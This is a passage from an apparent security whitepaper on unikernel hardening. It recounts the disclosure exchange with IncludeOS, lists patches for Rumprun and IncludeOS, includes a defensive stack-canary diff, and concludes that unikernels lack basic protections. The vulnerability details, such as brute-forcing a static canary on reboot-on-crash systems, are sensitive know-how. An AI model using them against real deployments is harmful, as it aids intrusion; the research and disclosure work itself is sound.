them. After two subsequent emails requesting acknowledgment, contact was established in early October

2017; immediately following this, NCC Group provided the IncludeOS project with an advisory describing

the issues identified and remediation recommendations.

At the end of the following November, NCC Group sent a follow-up message asking for confirmation that

the advisory was received and for when we could expect a decision about the steps the project would be

taking regarding the issues. In a reply sent the next day, they indicated that they were aware of some of the

issues, provided steps they planned to follow to resolve them, and asked for confirmation as to whether the

plans were appropriate and sufficient. They are summarized as follows:

1. Implementing ASLR through paging features

2. Using W^X as a default for IncludeOS instances

3. Initializing the stack check guard on boot and ensuring that the stack check guard will be copied into

thread local storage

4. Replacing Red Hat’s newlib with musl libc

5. Changing the method by which vmrunner (described as being for development use only) detects

panics and not grep-ing by default
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NCC Group replied with follow-ups on each of the steps. Those which NCC Group provided additional

advice for are summarized below:

• #2:

– Consider further section hardening by making .rodata read-only, but not executable

– Consider providingpageprotectionmanipulation capabilities to application software (e.g. mprotect(2)/

VirtualProtect[Ex]) so applications may JIT or create guard pages

– Introduce large (e.g. 1MB) guard pages between sections, and, where feasible (given compiler limita-

tions), stack probing for stack growth operations over a page in size

• #3:

– Make sure to verify correctness via assembly instructions or a debugger

– Consider using a hypervisor-VM communication channel to seed quality entropy at boot

– Make sure the first or second byte of the canary is null, with preference for the second

• #4:

– musl libc is preferred to newlib and considered less vulnerable in general than glibc, but does not

appear to have a fully hardened heap implementation

– CopperheadOS’ bionic libc is hardened, butmalloc is probably best reimplementedusingChrome/Blink’s

PartitionAlloc or the further hardened struct/HardenedPartitionAlloc implementation

– Consider providing applications raw memory allocation capabilities to implement arbitrary allocators,

but the default malloc(3) should use a hardened allocator by default

– Exercise caution when using _FORTIFY_SOURCE as some of the runtime checks use OS-specific features

such as Linux’s procfs for %n validation

In late February 2019, NCC Group contacted the IncludeOS project to inform them of new issues that had

been identified while examining the changes made since reporting the original issues. NCC Group also

provided patches remediating them. The IncludeOS developers promptly acknowledged receipt of the

new issues. For more information on these issues and the patches, see Section 10.2 on page 95.

In mid March 2019, the IncludeOS project replied asking for feedback on a pre-closed pull request based

on the one we provided, and indicating an intention to base entropy primarily on a random value passed in

at build time, further stating that it would be up to users to ensure that they rebuilt images with new random

values. However, the implementation provided XOR’d this static value against a randomly one generated

using either RDRAND — or the CPU cycle count, depending on the results of RDRAND feature detection — or

a non-cryptographically secure RNG through C++’s std::random_device and std::mt19937_64 (Mersenne

Twister) classes as a generic non-x86 implementation. They additionally indicated awareness of the lack of

musl libc initialization in their solo5 build and that they added it. At the time of writing, NCC Group has not

assessed this last claim, but the ”dev” branch of IncludeOS does appear to have src/platform/x86_pc/ini

t_libc.cpp invoke libc initialization functionality from the x86_pc codebase.

NCCGroup responded that the implementation was not satisfactory due to the reasons summarized below:

• Fallback to use of an insecure entropy source or insecure PRNG should not be used and that failing closed

or raising a loud warningmessage is preferred. In our original patch, a warningmessage about the canary

failing to be initialized was printed, but this was removed in IncludeOS’ version.

• The reliance on a static entropy secrets across reboots and multiple application instances exposes appli-

cations to significant exploitation risk and that even though the implementation XORs the value against a

potentially secure random value, this essentially negates the purpose of the static secret at best and con-

tinues to be exploitable in the case that the value used is insecure due to fallback behaviors. Additionally,
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it places an unnecessary burden on users that may be ignored (intentionally or otherwise).

• The IncludeOS version of our patch lacked the QEMU CPU setting changes.

• Performance regressions introduced in the IncludeOS version of our patch.

Within our response, we additionally recommended using RDRAND directly as a CSPRNG or seeding the

SHAKE128 RNG with RDSEED, instead of seeding it with RDRAND.

The IncludeOS project replied that they applied our recommendations, but were holding off on applying

the QEMU CPU setting changes to prevent -cpu host from breaking QEMU on macosx. They included a

GitHub link showing the updated diff of a, now-deleted, patch branch for review. These patches introduced

a ”production mode” distinction in which booting would fail if IncludeOS could not securely obtain entropy.

On the matter of the QEMUCPU setting, we replied that the issue raised would also affect Linux on Xen, and

that boot/vmrunner could check for the existence of /dev/kvm and fall back to a specific CPU type or enable

the relevant cpuid flags through QEMU’s CPU feature options (e.g. ,+rdrand).

In reviewing the diff and subsequent revisions based on back-and-forth discussions, NCC Group observed

several performance regressions in how entropy was obtained and seeded into the SHAKE128 RNG, and

made recommendations to optimize the logic and prune superfluous entropy gathering operations.

Per our discussions with the IncludeOS project, all of the above remediations (potentially sans QEMU CPU

setting) will be merged into the master branch by the end of March 2019 and will be part of IncludeOS

version 0.14.1.
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10 Remediations

10.1 Rumprun

Based on Rumprun’s commit history, the project appears to have been left largely unmaintained since late

2016. However, Rumprun’s maintainers have not made this fact clear: its documentation on GitHub does

not mention anything to this effect, and various introductions to unikernels online still prominently feature

Rumprun. Given this somewhat unusual situation, there are likely many existing and new projects using

Rumprun for serious development work. In order to avoid adversely affecting such users, we opted to write

patches ourselves to resolve several of the issues we discovered before publishing this whitepaper.

Generally speaking, our patches follow the recommendations in Section 5.12 on page 48. Our goal was

to mitigate major vulnerabilities and implement a number of basic security features consistent with modern

full-OSes and native binaries running on them, as well as to provide a reference implementation for some of

these features. A non-goal of this effort was ensuring an extremely high level of security, but instead improve

the status quo with minimal changes where feasible. As such, we did not replace custom components like

libbmk’s heap allocator as we recommended above, and instead patched the existing implementations. In

addition, there are a few security features for which a full and proper implementation would have required

complete redesign of major components; for example, adding support for ASLR would require implement-

ing a virtual memory management system. We patched these kinds of issues to the best of our ability within

the confines of the existing architecture, but in a few cases could not implement any mitigations.

Due to the ongoing nature of our effort to upstream various portions of our patches to NetBSD prior to

submitting them in a pull request to the Rumprun GitHub repos, we have have made our hardened version

of Rumprun available through the following GitHub fork repositories:

• nccgroup/rumprun • nccgroup/src-netbsd • nccgroup/buildrump.sh

10.1.1 ASLR

• Issue: Rumprun does not support ASLR.

Status: Unfixed. Implementing ASLR would require a substantial reshuffling of Rumprun’s architecture.

Currently, Rumprun allocates all of the memory provided by Xen in a contiguous block at startup. To

implement ASLR, Rumprun’s memory management system would need to be reimplemented to add

support for sparse allocations, which we deemed too large a task.

10.1.2 Page Protections

• Issue: arch_init_mm() in platform/xen/arch/arch/x86/mm.c sets the text section to read-only, but leaves

the other section permissions as RWX.

Status: Fixed. arch_init_mm() now sets the proper permissions on all sections:

– .text is now read-execute

– .data and the stack are now read-write

– .rodata is now read-only

• Issue: The NetBSD rump kernel mmap and mprotect syscalls are only partially implemented; the former

ignores the prot flags passed to it and the latter is a no-op.

Status: Fixed. The mprotect and mmap implementations in lib/librumprun_base/sys{,call}_mman were

modified to issueXenhypercalls that appropriately update thepermissions of any pages touchedby either

call. Note that the guard regions are only a single page in sizemaking them otherwise susceptible to stack

clash attacks. However, without the ability to make noncontiguous memory mappings, this is the best that

can be done without wasting large amounts of memory to implement larger guard regions.
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10.1.3 Stack

• Issue: The -fno-stack-protector flag is used pervasively throughout the codebase to disable the use of

stack canaries, and stack protector usage is not globally enforced for application code.

Status: Fixed. All instances of -fno-stack-protector have been changed to -fstack-protector-strong,

and -fstack-protector-strong has been added to the global CLFAGS.

• Issue: The stack canary is implemented using a global variable, __stack_chk_guard, in src-netbsd/lib

/libc/misc/stack_protector.c. This is a deprecated method of storing the canary; modern compilers

expect it to be in thread-local storage. This results in uninitialized null bytes within thread-local storage

being used as the canary.

Status: Fixed. The build configuration has been modified to add -mstack-protector-guard=global to the

global CFLAGS. This instructs the compiler to generate canary checking code that uses the global canary

variable directly.

• Issue: Once the above problemwas resolved, it turned out that the stack canary valuewas generated quite

late in the boot process (in arch_init_mm()). Critically, this occurs after its original value has already been

read and inserted into several early stack frames. Attempting to use the global canary resulted in a crash

when the old and new values are checked against each other during boot. The late initialization is due to

the value being obtained via a call to the NetBSD sysctl interface, which is not usable during early boot.

Status: Fixed.

– The __guard_setup function in src-netbsd/lib/libc/misc/stack_protector.c that initializes the stack

canary has been made the first step in the boot process.

– On x86(_64), the __guard_setup function now directly uses the RDRAND cryptographically-secure random

number generator instruction to set all but the second byte of the canary, which is cleared.

– The entire implementation of the __guard_setup function and all functions call by it have beenmodified

so that they do not have local array definitions or any references to local frame addresses. This is

necessary as the libc itself is now compiled using -fstack-protector-strong, which would otherwise

insert a canary check into the function that changes the canary value, causing a crash.

• Issue: The stack canary, being an ordinary global variable in the .data section, is writable at runtime.

Status: Fixed. The canary now resides at the start of a global page-sized and page-aligned stack_chk_-

guard_t union. This page is marked read-only during initialization after the stack canary has been set.

• Issue: The stack is a global byte array in the middle of the .data section, placed directly above the page

table. Buffer overflows within the stack could overwrite parts of the .data section following it and the stack

could grow down into the parts of the .data section preceding it. These could enable the global stack

canary value to be overwritten among other sensitive values.

Status: Partially Fixed. The stack has been moved to its own ELF section after the .data section. It is

bounded by single-page guard sections mapped as ”not present.” These protect against stack buffer

overflows and generic stack overflows, but not stack clash attacks.

Larger (at least 1MB) guard pages would be necessary better prevent stack clashes. In order to implement

large guard pages without wasting several megabytes of memory for them, Rumprun would need to

support noncontiguous memory mappings. As it does not, and implementing support would require

a substantial redesign of the memory management system, we did not implement large guard pages.
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10.1.4 Heap

• Issue: The canary value field mh_magicwithin the memalloc_chunk struct defined in lib/libbmk_core/memalloc.c

is positioned after mh_alignpad. While this ordering appears to result in more efficient use of struct space,

this leaves mh_alignpad unprotected against contiguous writes (i.e. from a heap-based buffer overflow).

Status: Fixed. The mh_magic canary field is now located before mh_alignpad.

• Issue: The values of themalloc chunk canary valuementioned above as well as the magic value field within

the chunk struct defined in lib/libbmk_core/pgalloc.c are set based on static compiler defines.

Status: Fixed. The new __guard_setup implementation (see the Stack section above) generates two addi-

tional canaries for malloc and page chunks. These are placed in the same page as the stack canary, which

is made read-only after initialization.

• Issue: The LIST_REMOVE macro used to unlink heap chunks in memalloc.c and pgalloc.c performs no

pointer validation.

Status: Fixed. A new macro, LIST_REMOVE_CHECK, which performs pointer validation, has been introduced

and placed before all uses of LIST_REMOVE. If its validation fails, it calls bmk_platform_halt() to directly

halt the VM.

10.1.5 Entropy and random number generation

• Issue: NetBSD #ifs out RDRAND support implemented in sys/kern/kern_rndq.cwhenbuilt as a rumpkernel

by requiring !defined(_RUMPKERNEL). This results in Rumprun unikernels lacking cryptographically secure

entropy.

Status: Fixed. The at-issue #if clauses has been removed from sys/kern/kern_rndq.c. In fact, the RNG-

related code that was #ifdef-ed out when _RUMPKERNEL is defined still works without issue when NetBSD

is built as a rumpkernel.

• Issue: The rump kernel-specific portion of the codebase lacks RDRAND-enabled implementations of cpu_-

rng_init() and cpu_rng(). As a result, onlyweak andpredictable values are used to seed randomnumber

generation.

Status: Fixed. A unikernel-friendly RDRAND-based RNG implementation for x86-based rumprun has been

introduced in sys/rump/librump/rumpkern/arch/x86/rump_x86_cpu_rng.c, based on the implementation

from sys/arch/x86/x86/cpu_rng.c. However, the new implementation detects RDRAND support by directly

querying the CPU features using the cpuid instruction.

10.1.6 Standard library hardening

• Issue: The %n specifier is supported by libc format string functions. This allows format-string vulnerabilities

to provide arbitrary write primitives.

Status: Fixed. The %n handlers in lib/libc/stdio/{vfscanf,vfwprintf,vfwscanf,vsnprintf_ss}.c and

tools/compat/snprintf.c have been changed to be a no-op.

• Issue: _FORTIFY_SOURCE is neither set nor explicitly disabled in the core Rumprun codebases and applica-

tion build configurations.

Status: Fixed. All instances of the -U_FORTIFY_SOURCE compiler option have been removed, and -D_-

FORTIFY_SOURCE=2 has been added to the global CFLAGS.
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10.2 IncludeOS

In February 2019, NCC Group reexamined the latest version of IncludeOS (commit 0efba18fb) to determine

what fixes had been implemented in response to our initial report.

10.2.1 Memory Regions

Page protections are now properly implemented, and all of the tests from Section 6.5 now fail with page

faults rather than executing code. However, the non-standard section ordering remains the same. Also of

note is that ASLR has not yet been implementedwithin IncludeOS, and there do not appear to be any related

changes since the version originally tested.

10.2.2 Heap

The IncludeOS heap allocator now uses the default implementation within musl libc, which is a thin wrapper

around the mmap(2) and munmap(2) syscalls, that neither validates nor merges freed blocks. As part of In-

cludeOS’ switch tomusl libc, which defers a large amount of functionality to Linux/POSIX syscalls, IncludeOS

now implements a number of such required syscalls in custom C++ code. Within this part of the IncludeOS

codebase exists mmap(2) and munmap(2) implementations based on a self-described buddy allocator. While

NCCGroup has not assessed the new implementation, we note that, due to the unikernel memorymodel, its

data structures and metadata exist in the same memory space as those of the musl libc malloc(3)/free(3)

implementations andmay be subject to exploitation by heap-based buffer overflows. Additionally it is worth

noting that such exploitation may be aided by the nature of the class used to implement this allocator; it

is a subclass of the C++17 std::pmr::memory_resource class which has virtual methods including private

member functions implemented in the IncludeOS subclass. While this results in the subclass containing

a vtable, it is not immediately clear that any code within IncludeOS would result in these virtual methods

being called due to the fact that the class is used directly rather than through a pointer or reference to std:

:pmr::memory_resource. Additionally, while the destructor of the parent class is virtual, the only instance of

the subclass is of static storage duration; due to this, the appropriate destructors would be called directly

instead of through the vtable pointer in the object.

10.2.3 Stack Canaries

musl libc is initialized through the standard Linux/POSIX ELF binary loading procedure. As part of this,

the __libc_start_main entry function expects a System V ABI auxiliary vector (auxvec) embedded within

the char **argv it receives. This vector is located immediately following the NULL pointer terminating the

environmental pointer array, envp, which itself is located immediately following theNULL pointer terminating

the argument pointer array, argv. [LMG+] The auxvec is an array of auxv_t key-value pairs of the following

form:

typedef struct {

int a_type;

union {

long a_val;

void* a_ptr;

void (*a_fnc)();

} a_un;

} auxv_t;

As part of this initialization, musl libc expects an AT_RANDOM auxvec value that ”points to 16 securely generated

random bytes” provided by the OS; it uses this as the stack canary. [Dev][LMG+] If this value is not provided

in the auxvecmusl libc instead falls back to setting the canary to the result of the canary’s address multiplied

by the constant 1103515245. [Fel]
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During our re-review of IncludeOS, we found that IncludeOS only initializes musl libc on the default x86_pc

platform, but does not initialize it on any other supported platforms, such as solo5/ukvm. [Incj] As a result, the

stack canary has a null value on those platforms. Additionally, within the auxvec initialization code for the x86_-

pc platform, IncludeOS does not set the AT_RANDOM value, resulting in a static stack canary value that is reused

across VM image boots. Further, as this value is based entirely on the location of the __stack_chk_guard

variable, an attacker targeting a reboot-on-crash IncludeOS unikernel can attempt to successively guess the

value by iterating through potential variable address locations and multiplying them against the musl libc

fallback constant. To remediate this issue, we wrote a patch that obtains a random value 64-bit value using

RDRAND, sets the second byte to 0x00, and stores it within the auxvec. Additionally, due to the semantics of the

AT_RANDOM value as a pointer to the random data, we set this pointer to the address of the modified random

value in the auxvec after it is copied into the argv array.

Note: NCC Group’s patch did not contain code to initialize musl libc within the entry points for IncludeOS’

other platforms. However, it is likely that IncludeOS will be able to reuse our AT_RANDOM patch on those

platforms.

10.2.4 Entropy

While implementing patches to add support for auxvec AT_RANDOM, we observed that the RDRAND was not

supported in IncludeOS VMs. Looking into this we observed that due to the QEMU configuration used,

the CPU model had not been specified and QEMU/KVM defaulted to one that does not support RDRAND. As

described further in Section 6.8 on page 68, this resulted in the IncludeOS RNG being seeded with only the

clock cycle count during early boot. To remediate this issue we wrote a patch for the vmrunner.py library

that passes the -cpu option with an appropriate value to the qemu-system-x86_64 command run by it.

10.2.5 Stack Canary/Entropy Patches

As described earlier, NCC Group provided a patch to the IncludeOS project that initialized the stack canary

and enabled RDRAND support. While the IncludeOS project appears to have applied this patch, it was subse-

quently modified heavily over the course of the disclosure process by the IncludeOS project. The original

patch is provided below:

Note: The original argv std::array variable did not allocate enough space for 38 auxv_t objects and sub-

sequently resulted in a buffer over-write during the memcpy(3) from aux. In version 0.14.1 of IncludeOS, aux

and argvhavebeen combined into std::array<char*, 6 + 38*2> argv, obviating the need for a memcpy(3).

Our patch attempted to remediate this by increasing the size of the buffer to fit the 38 auxv_t objects;

however, our version over-allocated by using eight times as much space for the auxv_t objects as needed.

We regret this mistake.

commit ab6482a96cd7e793ca2fc45ada89b5546d2e39c8

Author: Jeff Dileo <jeff.dileo@nccgroup.trust>

Date: Tue Feb 26 00:12:59 2019 -0500

pass rdrand entropy to musl libc init for stack canary + enable rdrand cpu feature support in boot/

vmrunner

diff --git a/src/platform/x86_pc/kernel_start.cpp b/src/platform/x86_pc/kernel_start.cpp

index 5bf83e83b..b59740e61 100644

--- a/src/platform/x86_pc/kernel_start.cpp

+++ b/src/platform/x86_pc/kernel_start.cpp

@@ -17,6 +17,7 @@

#include <kernel/os.hpp>

#include <kernel/syscalls.hpp>
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#include <kernel/cpuid.hpp>

+#include <immintrin.h>

#include <boot/multiboot.h>

#include <kprint>

#include <debug>

@@ -108,7 +109,7 @@ extern "C" uintptr_t __syscall_entry();

extern "C" void __elf_validate_section(const void*);

extern "C"

-__attribute__((no_sanitize("all")))

+__attribute__((no_sanitize("all"), target("rdrnd")))

void kernel_start(uint32_t magic, uint32_t addr)

{

// Initialize default serial port

@@ -211,9 +212,25 @@ void kernel_start(uint32_t magic, uint32_t addr)

const char* plat = "x86_64";

aux[i++].set_ptr(AT_PLATFORM, plat);

+

+ unsigned long long canary = 0;

+ if (CPUID::has_feature(CPUID::Feature::RDRAND)) {

+ #ifdef __x86_64__

+ _rdrand64_step(&canary);

+ #else

+ _rdrand32_step((uint32_t*)&canary);

+ #endif

+ } else {

+ kprintf("RDRAND not available. Stack canary will be NULL.\n");

+ }

+ ((uint8_t*)&canary)[1] = 0;

+ aux[i++].set_long(AT_RANDOM, (unsigned long)canary);

+ size_t canary_slot = i-1;

+ aux[i++].set_ptr(AT_RANDOM, 0);

+ size_t entropy_slot = i-1;

aux[i++].set_long(AT_NULL, 0);

- std::array<char*, 6 + 38> argv;

+ std::array<char*, 6 + (sizeof(auxv_t) * 38)> argv;

// Parameters to main

argv[0] = (char*) Service::name();

@@ -228,6 +245,10 @@ void kernel_start(uint32_t magic, uint32_t addr)

memcpy(&argv[6], aux, sizeof(auxv_t) * 38);

+ auxv_t* auxp = (auxv_t*)&argv[6];

+ void* canary_addr = &auxp[canary_slot].a_un.a_val;

+ auxp[entropy_slot].set_ptr(AT_RANDOM, canary_addr);

+

#if defined(__x86_64__)

PRATTLE("* Initialize syscall MSR (64-bit)\n");

uint64_t star_kernel_cs = 8ull << 32;

diff --git a/vmrunner/vmrunner.py b/vmrunner/vmrunner.py

index d79f8e4ff..a65b7dcc4 100644
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--- a/vmrunner/vmrunner.py

+++ b/vmrunner/vmrunner.py

@@ -520,6 +520,11 @@ class qemu(hypervisor):

if "features" in cpu:

cpu_str += ",+" + ",+".join(cpu["features"])

kernel_args.extend(["-cpu", cpu_str])

+ else:

+ if self._kvm_present:

+ kernel_args.extend(["-cpu", "host"]) # or at least -cpu kvm64,+rdrand

+ else:

+ kernel_args.extend(["-cpu", "max"])

net_args = []

i = 0
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11 Conclusion

Much to the contrary of grandiose security claims oftenmade by unikernel developers, the evidence thus far

indicates that unikernels are decidedly not secure. [Bue] Having examined two major unikernels, Rumprun

and IncludeOS, a worrying trend is already apparent: unikernels often lack even the most basic security

features, especially with regard to memory corruption. ASLR, consistent W^X policy, and stack, heap, and

standard library hardening are generally either missing, improperly implemented, or intentionally disabled.

This would be bad enough in a full, general-purpose operating system, but it is made even worse in uniker-

nels, where application and kernel code run together and share an address space. An attacker who gains

code execution in the application can immediately go on to invoke kernel-level functionality, make hyper-

calls, perform raw packet I/O, and so on. This makes unikernels a particular liability when running alongside

other types of hosts, as they can be used as pivot points fromwhich to attack their neighbors with evenmore

potency than would be possible on a full-OS VM or container (at least without privilege escalation).

Given how low the bar has been set, there are numerous ways in which the currently abysmal state of

unikernel security could improve. Aside from the protections we tested for — i.e. those typically found in

modern, full-featured operating systems — there are several hypervisor-specific features that can be taken

advantage of in order to improve unikernel security. For instance, many privileged operations, e.g. page

table management, packet I/O, etc. can be performed via requests to the hypervisor rather than directly by

the guest itself through emulated devices; such functionality is akin to syscalls or ioctls in a full OS.

Nonetheless, as it stands, unikernels remain an unsuitable and unappealing choice for production use, and

will likely remain so until their securitymeasures are at least brought in linewith thoseofmodern, full-featured

operating systems.

11.1 Future Work

Our primary motivation for targeting Rumprun was its position as the leading general-purpose unikernel for

POSIX applications. IncludeOS, a unikernel tightly focused on C++-based cloud services, initially became a

target when its CEO posted Unikernels are secure. Here is why. on unikernel.org as we were researching

Rumprun.

We also intended to investigate OSv, a unikernel targeting JVM and native applications with support for

managing app lifecycles via a REST API. It implements its filesystem with ZFS, and does not require that an

application be build into the unikernel image, instead providing the ability to upload apps to run. Further-

more, unlike Rumprun and IncludeOS, OSv supports threads. Unfortunately, we ultimately did not have time

to examine OSv; we do, however, have plans to write a second whitepaper with it as the primary target.

Besides OSv, another major area not fully explored is that of language-specific unikernels for high-level lan-

guages. While we discussed theOCaml-basedMirageOS in our ToorCon talk,[MD], we did so primarily from

a low-level perspective, examining the OS-level implementation and not the higher-level runtime on top of

it. In addition, there are several other high-level-language-based unikernels that may be worth exploring,

e.g. Clive (Go), LING (Erlang), and HaLVM (Haskell).

Finally, throughout our unikernel testing, we noticed an overarching design trend: the unikernel projects

we looked at tended to reimplement major components like the TCP stack from scratch. While this means

the older implementations’ cruft is gone, so is their long history of fixes for obscure bugs and edge-case

handling. As such, additional investigation into these components specifically would almost certainly yield

a slew of interesting vulnerabilities.
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